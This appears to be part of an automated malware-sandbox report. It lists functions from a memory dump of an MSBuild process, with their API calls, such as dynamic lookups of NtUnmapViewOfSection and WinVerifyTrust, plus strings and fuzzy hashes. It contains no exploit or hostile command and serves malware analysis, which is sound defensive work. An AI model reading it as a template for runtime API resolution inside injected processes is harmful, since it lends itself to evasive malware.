String ID: CryptCATCatalogInfoFromContext$wintrust.dll
API String ID: 145871493-3354427110
Opcode ID: a2917122d56e38a77b70275acb8f4d90045e14db90a9d46eafa795f05b7c929c
Instruction ID: 38969c15857b487e8045a8b01637eea2f88a43acaddb16b0ed5f6da51b10b93b
Opcode Fuzzy Hash: a2917122d56e38a77b70275acb8f4d90045e14db90a9d46eafa795f05b7c929c
Instruction Fuzzy Hash: E0E012707816859FEF00BF26C929B067BF8B74324DF24C056EA85C6780EBB180808A20

Function 6CC00120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CBD7297), ref: 6CC00128
GetProcAddress.KERNEL32(00000000,CryptCATAdminEnumCatalogFromHash), ref: 6CC00147
FreeLibrary.KERNEL32(?,6CBD7297), ref: 6CC0015E

Strings

wintrust.dll, xrefs: 6CC00123
CryptCATAdminEnumCatalogFromHash, xrefs: 6CC00141

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminEnumCatalogFromHash$wintrust.dll
API String ID: 145871493-1536241729
Opcode ID: 0159fd18c4a4b1881dbf97c4a1fddf98bb18451963c81d4cce567711d448c78a
Instruction ID: 49faf9b29f7fde99e86a0e5ab66124fcbb5f218d4c500f999b6d562c0e05cbfe
Opcode Fuzzy Hash: 0159fd18c4a4b1881dbf97c4a1fddf98bb18451963c81d4cce567711d448c78a
Instruction Fuzzy Hash: DFE09274B457859FEF00BF6AD818B1A7EF8A79734EF50D015AA05CA741EBB1C400CB50

Function 6CC2C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC2C0E9), ref: 6CC2C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CC2C437
FreeLibrary.KERNEL32(?,6CC2C0E9), ref: 6CC2C44C

Strings

ntdll.dll, xrefs: 6CC2C413
NtQueryVirtualMemory, xrefs: 6CC2C431

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 2dcc115fb778b6dbfbfabbd351a732e704cbfca1bcae35971b9d1f5a5227a796
Instruction ID: 391e24b034015d5819f3bca817b2c113aecf36c987808bcb6ec87efe66e6ad83
Opcode Fuzzy Hash: 2dcc115fb778b6dbfbfabbd351a732e704cbfca1bcae35971b9d1f5a5227a796
Instruction Fuzzy Hash: F3E0B670A057019FEF00BFB6CD18B167FF8A74724CF00D516AA0499A41EBB4C4008B50

Function 6CC275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC2748B,?), ref: 6CC275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CC275D7
FreeLibrary.KERNEL32(?,6CC2748B,?), ref: 6CC275EC

Strings

ntdll.dll, xrefs: 6CC275B3
RtlNtStatusToDosError, xrefs: 6CC275D1

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 80b4abc5e50e9f0354caa4c25b62c2f503d7f5f6c30063990cc7cffebde1a4ce
Instruction ID: ee24843be3b45500ebcee7c9078337c9fe669c95cfa4d2b963dfeee0c81c1d9c
Opcode Fuzzy Hash: 80b4abc5e50e9f0354caa4c25b62c2f503d7f5f6c30063990cc7cffebde1a4ce
Instruction Fuzzy Hash: B3E0B671605702AFEF00BFA6C898B05BEF8EB4721CF10D025A905D1641EBFC8491CF11

Function 6CC27600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC27592), ref: 6CC27608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CC27627
FreeLibrary.KERNEL32(?,6CC27592), ref: 6CC2763C

Strings

ntdll.dll, xrefs: 6CC27603
NtUnmapViewOfSection, xrefs: 6CC27621

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 0be692bb6a7ed2486722720085590669b19f3e00680899e3384668705ae97a88
Instruction ID: 5c72500f44fe979340c15b53e0f439e90944202906aac036d0b6aa957ed5f199
Opcode Fuzzy Hash: 0be692bb6a7ed2486722720085590669b19f3e00680899e3384668705ae97a88
Instruction Fuzzy Hash: 98E0B6B4605701AFDF00BFA6C858B057EB9E75A35DF11C115E905D1741EBB8C410CF14

Function 6CC2C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CC2C1DE,?,00000000,?,00000000,?,6CBD779F), ref: 6CC2C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6CC2C217
FreeLibrary.KERNEL32(?,6CC2C1DE,?,00000000,?,00000000,?,6CBD779F), ref: 6CC2C22C

Strings

wintrust.dll, xrefs: 6CC2C1F3
WinVerifyTrust, xrefs: 6CC2C211

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: adbb5832e5b472e8859b38a6d799edc6d8198c6ee9b038845eed25642c9711d1
Instruction ID: 942ea1798c9079c74dd9d53a254ffbe2620fed344b3d7b067d651872f13e6dfe
Opcode Fuzzy Hash: adbb5832e5b472e8859b38a6d799edc6d8198c6ee9b038845eed25642c9711d1
Instruction Fuzzy Hash: 74E0B6B4205B419FEF00BF66D918B067EF8AB4720CF10D555A914C6641EBB4C4008B60

Function 6CC2BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CC2BE49), ref: 6CC2BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CC2BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CC2BE49), ref: 6CC2BF38
RtlReAllocateHeap.NTDLL ref: 6CC2BF83
RtlFreeHeap.NTDLL ref: 6CC2BFA6

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 28179c5ad38a69262b6e805428f385e9ed7fc0428f3178f92097356b99ace23a
Instruction ID: 1288850ea9a3978a9da7c5281c37f6e80160ce7d0f80abeba641182913b78c3f
Opcode Fuzzy Hash: 28179c5ad38a69262b6e805428f385e9ed7fc0428f3178f92097356b99ace23a
Instruction Fuzzy Hash: 34519375A002158FE724CF69CD90B9AB3B2FF88314F294639D556A7B54E734F9068B80

Function 6CC18E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?,6CC3D734), ref: 6CC18E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?,6CC3D734), ref: 6CC18EBF
free.MOZGLUE(?,?,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?), ref: 6CC18F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?,6CC3D734), ref: 6CC18F46
free.MOZGLUE(?,?,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?), ref: 6CC18F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CC0B58D,?,?,?,?,?,?,?,6CC3D734,?,?,?), ref: 6CC18F8F

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 45fc883188e0113ca861c9f4e288b026508581c2c1785ea324901d513d63c2ff
Instruction ID: 6bed57d4db2da0f4a2e507e5b57ef7e1ff95e5c86d35b515b50f5e1eeb1baf71
Opcode Fuzzy Hash: 45fc883188e0113ca861c9f4e288b026508581c2c1785ea324901d513d63c2ff
Instruction Fuzzy Hash: 6A51E9B5A092158FEB10CF59D880B6E73B2FF45308F16452AD916ABB40F731F905CB91

Function 6CBD60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CBD5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CBD5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD6180
free.MOZGLUE(?,?,?,?,6CBD5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBD6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CBD5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD6229
free.MOZGLUE(?,?,?,?,6CBD5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBD625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CBD5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBD6271

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a41ca67cf7fc05b6252282f2b29af1e05fd5f25a9c61cd09841ede101e679de5
Instruction ID: ba1014bc8c736cdb870648dcb89a262faffed1b6c900cf67e307df2b153269fd
Opcode Fuzzy Hash: a41ca67cf7fc05b6252282f2b29af1e05fd5f25a9c61cd09841ede101e679de5
Instruction Fuzzy Hash: 92518CB1A002468FEB14CFA8D8807AEB7B5EF45308F124839C516D7711E731F959CB62

Function 6CC127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CC12620,?,?,?,6CC060AA,6CC05FCB,6CC079A3), ref: 6CC1284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC12620,?,?,?,6CC060AA,6CC05FCB,6CC079A3), ref: 6CC1289A
free.MOZGLUE(?,?,?,6CC12620,?,?,?,6CC060AA,6CC05FCB,6CC079A3), ref: 6CC128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC12620,?,?,?,6CC060AA,6CC05FCB,6CC079A3), ref: 6CC12910
free.MOZGLUE(00000001,?,?,6CC12620,?,?,?,6CC060AA,6CC05FCB,6CC079A3), ref: 6CC1293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CC12620,?,?,?,6CC060AA,6CC05FCB,6CC079A3), ref: 6CC1294E

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 85f76cf17fc5b612b7fb86090d576783e8595d39b341b9f6a12a4513ce7d258d
Instruction ID: 4afa2c6061dc3a38e52b32e724b88f698cfe766dffa804ad3888c307e68b5e34
Opcode Fuzzy Hash: 85f76cf17fc5b612b7fb86090d576783e8595d39b341b9f6a12a4513ce7d258d
Instruction Fuzzy Hash: 8841C0B9A082068FEB10CF69D89476A73F6FB46308F244939D956EBB40F731E905CB51

Function 6CBCCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBCCFF6
LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBCD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CBCD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CBCD139

Strings

MOZ_CRASH(), xrefs: 6CBCD187

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 351cab8b4d4f92ca19ddb53118ee18f54e67190115d4691c5b84531a3a8b9fc3
Instruction ID: 87fb1b34980c78694705ee7f2408d9bc3b987949eebb65465fbfaed7683358eb
Opcode Fuzzy Hash: 351cab8b4d4f92ca19ddb53118ee18f54e67190115d4691c5b84531a3a8b9fc3
Instruction Fuzzy Hash: 4741E275B806264FDB04DE7C9CA036AB6B4EB49728F16813DE918E7784D7B19C018BD2

Function 6CBC4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBC4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBC4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBC4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBC4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CBC4F1E

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: cd81b5fa7782d264d55f5c30f2d7f68f2a2144da570c99098b656d58269fd2bc
Instruction ID: 73f1d3cc297bbe050ee59d592f8e8640e89ed4b980b5bb0034895e0fc19f5d77
Opcode Fuzzy Hash: cd81b5fa7782d264d55f5c30f2d7f68f2a2144da570c99098b656d58269fd2bc
Instruction Fuzzy Hash: 2541BF716047869FC705CF29C4809ABBBE4FF89354F118A2DF46987A41D770EA58CB92

Function 6CC2A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4F770), ref: 6CC2A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC2A87B

Part of subcall function 6CC2A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CC2A88F,00000000), ref: 6CC2A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CC2A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC2A90C
LeaveCriticalSection.KERNEL32(6CC4F770), ref: 6CC2A97E

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 1a16d1fed183f601ea9f33c42e367f07b2740837f3d0a9bc3de828227d575f43
Instruction ID: 522024c190c78b6229bc93c5bc7ea47a9f594ed69ef3e32639872af9a6cc7be7
Opcode Fuzzy Hash: 1a16d1fed183f601ea9f33c42e367f07b2740837f3d0a9bc3de828227d575f43
Instruction Fuzzy Hash: F74192B4E002048FDB00EFA8D845BDEB771FF44324F14C629E826AB791E7759945CB91

Function 6CBD1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD15E7
free.MOZGLUE(?,?,?,?,?,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CBD152B,?,?,?,?,6CBD1248,?), ref: 6CBD1637

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 1835b0f92267ac747150a7f6c6178dae905b7355a1497c514e01036ce4da5f28
Instruction ID: ba008e5deb98ad2c4d2a33d011dd83ebf93591d6d0affcff086ef819ce641088
Opcode Fuzzy Hash: 1835b0f92267ac747150a7f6c6178dae905b7355a1497c514e01036ce4da5f28
Instruction Fuzzy Hash: C531D672A001548BC7188E78D85046E77A9FB8537872E0B6DE827DBBD4EB30F9048792

Function 6CC2AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2AD9D

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2AE01
GetLastError.KERNEL32(?,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CC3E330,?,6CBEC059), ref: 6CC2AE3D

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: cb702d44d8254736f6474c66f78d093f6c6fe89a8ccccd24d9d633e66b4c1bb2
Instruction ID: 8b980ff7be9b3bb20574964e63d2c6cb6048e5e3a3cfff4ba7a673bf9656a28b
Opcode Fuzzy Hash: cb702d44d8254736f6474c66f78d093f6c6fe89a8ccccd24d9d633e66b4c1bb2
Instruction Fuzzy Hash: 1B3123B19002159FD710DF759D44AAFB7F8EF89614F158869E85AE7700F7349805C7A0

Function 6CC25EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CC3DCA0,?,?,?,6CBFE8B5,00000000), ref: 6CC25F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CBFE8B5,00000000), ref: 6CC25F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CBFE8B5,00000000), ref: 6CC25F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CBFE8B5,00000000), ref: 6CC25F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CBFE8B5,00000000), ref: 6CC25FD6

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: fe59c1e327b0750fd29bb9da5284b21892f9b1ad446b993cd31ff4b924459da8
Instruction ID: cf0fc181ce7a37d449378cc057f3ffea249fa4395c905bb0f8337997f8c3eeaf
Opcode Fuzzy Hash: fe59c1e327b0750fd29bb9da5284b21892f9b1ad446b993cd31ff4b924459da8
Instruction Fuzzy Hash: 52310E34300A008FD724DF29C898E2BB7F9FF89319BA48598E55687B99D735EC41CB80

Function 6CBCB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CBCB532
moz_xmalloc.MOZGLUE(?), ref: 6CBCB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBCB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CBCB57E
free.MOZGLUE(00000000), ref: 6CBCB58F

Memory Dump Source

